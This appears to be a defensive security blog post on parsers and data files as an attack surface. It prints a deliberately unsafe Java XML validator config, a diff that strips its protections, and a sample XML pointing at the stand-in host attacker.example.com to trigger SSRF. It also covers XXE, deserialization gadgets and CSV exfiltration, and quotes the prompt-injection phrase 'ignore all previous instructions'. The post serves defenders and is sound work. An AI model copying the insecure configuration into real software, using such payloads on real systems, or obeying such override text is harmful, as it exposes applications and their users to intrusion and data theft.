Skip to main content

Dangerous Data: the hidden attack surface

ยท 7 min read

Data files are not passive. They can manipulate and compromise your application.

We are used to thinking about code as having the capacity to behave maliciously. Stories about services being compromised, supply chain attacks and bugs leaking data are fairly common.

By comparison, transmission formats like JSON and XML are typically regarded to be fairly inert. In fact, these too can be a credible threat to your application.

A Dangerous Exampleโ€‹

Consider a financial web service that allows users to upload an XML document containing purchases.

For argument's sake, a developer set up a Java XML validator to check user-supplied XML files, that looks like this;

SchemaFactory factory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
//Passing no file to newSchema() allows the parser to use xsi:noNamespaceSchemaLocation from the XML itself.
Schema schema = factory.newSchema(); // ๐Ÿ”ฅ This is the dangerous bit ๐Ÿ”ฅ
File xmlFile = new File("./example.xml");
schema.newValidator().validate(new javax.xml.transform.stream.StreamSource(xmlFile));

Looks harmless enough (if you ignore the comments) - but what happens if we send it a file referencing a schema located at a 3rd party url?

<?xml version="1.0" encoding="UTF-8"?>
<purchases
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="https://attacker.example.com/purchases-1234123.xsd">

<purchase>
...
</purchase>
</purchases>

The above example will trigger a GET request from the processor application backend to "https://attacker.example.com/purchases-1234123.xsd" - and potentially it could do this every time you tried to process the document.

The attacker sees requests to their attacker.example.com server;

Now the attacker has insight into when and where you process documents. This can give further visibility into application performance and behaviour if monitored over time. This compromise also provides a point of leverage where the response to the purchases-1234123.xsd call can be slowed or deliberately poisoned, and other undesirable capabilities. In short, the attacker controls a resource that your code trusts.

This is a form of SSRF (Server-Side Request Forgery) triggered through XML schema resolution.

It gets worseโ€‹

The same configuration above can be exploited much more dangerously.

With a specially crafted XML document an attacker can;

  • list all files in any directory the application has access to, and send that to an attacker controlled endpoint
  • read and send the contents of those files to an attacker controlled endpoint
  • get unsecured http endpoints and send the response to an attacker controlled endpoint
  • perform high quantities of GET requests to try to impact your (or another) application

Here's the diff that opens the above vulnerability (or conversely disables it if reversed):

SchemaFactory factory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
-factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
-factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
Schema schema = factory.newSchema();
File xmlFile = new File("./example.xml");
schema.newValidator().validate(new javax.xml.transform.stream.StreamSource(xmlFile));
The only change needed to make the attack possible.

Would you see this on a PR and consider the security implications?

Common data vulnerabilitiesโ€‹

There are a few particularly dangerous potential compromises that are persistently just a configuration away from becoming a threat.

Gadgets and Objectsโ€‹

So-called "gadget" attacks on JSON exploit the fact that some deserializers can instantiate existing classes/objects that may have code to make further changes - See: https://blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf If you can instantiate, initialise and invoke any class on the classpath, you have powerful leverage over an application and possibly a path to remote code execution.

External entitiesโ€‹

XML, in particular, is prone to "external entity" (XXE) attacks that pull in entities from untrusted 3rd party sources. Although it is a vulnerability that can be seen in various "schema" types too - such as XSD/DTD and JsonSchema - it's fairly normal to want to reference, say, a standardised format for a file as part of your schema.

Memory bombs and CPU hogsโ€‹

Some exploits simply cause the parser to use an unreasonably large amount of memory (or CPU, or both), typically from a deceptively small payload. These are varied and numerous, examples include "billion laughs", "deep nesting" and ReDoS (regular expression denial of service).

Not just the usual suspectsโ€‹

While the "usual suspects" (XML and JSON) certainly have a lot of well-documented compromises associated with them, they're far from the only ones.

CSVโ€‹

CSVs can include formulas to exfiltrate data (typically crafted to target specific programs like Excel or Google Sheets). While this is unlikely to be a danger to your application, it can be a risk to users of the file, like analysts and customers.

Plain Textโ€‹

Yes, even plain text is not immune, in fact, I'd say plain text is one of the biggest growth areas of compromises in the last 5 years. This comes down to AI and prompt injections to manipulate AI. The well worn "ignore all previous instructions and do x instead" pattern is surprisingly viable in 2026.

More advanced techniques like Narrative Priming can influence LLM behaviour in subtle and hard to detect ways. Even ordinary persuasion can be used to manipulate or jailbreak them.

Besides particularly risky situations, such as LLMs trusted with autonomy and personal data access (such as OpenClaw) - even "boring" LLM integrations for sentiment analysis or document summary are vulnerable to injection attacks.

Surely, this is patched?โ€‹

That's the thing: it's not a bug. These are typically legitimate, useful features that happen to be exploitable. Nesting types are useful for preventing boilerplate, external schema references make standards easier to maintain, regexes build state machines for making powerful assertions about text. All of these can be exploited.

Furthermore, libraries sometimes keep these default configurations for backwards compatibility - like the first example in this post.

These can be very hard to spot from just the source code, or even in testing.

It's also highly situational; some effort-saving features are only dangerous in specific contexts. What's safe and convenient to have configured in a Kafka deserialiser might be deeply unsafe to have configured on a public http endpoint.

Key Takeawaysโ€‹

The defaults tend to be sensible on newer libraries, but beware older code (particularly anything predating 2016 when a lot of these vulnerabilities were publicised) and bad defaults held for compatibility. With this said, since it's often not a bug all it takes is a configuration mistake like the first example in this article.

That's the key point here: parsers and validators are an attack surface, and a complicated one at that.

Unfortunately, this is not a situation where a simple technical fix can solve a problem. Ultimately, the best solution I can offer is a combination of knowledge, vigilance and testing:

  • Knowledge - knowing that this type of vulnerability exists
  • Vigilance - any validator/parser configuration change should immediately grab your full attention
  • Testing - build automated tests that would catch known exploits as a final line of defence
A tech report from Hypermass.io

Part of the Hypermass Tech Report series. We're building Hypermass - an Open Data platform.

Jump on the Discord to say hi and get involved.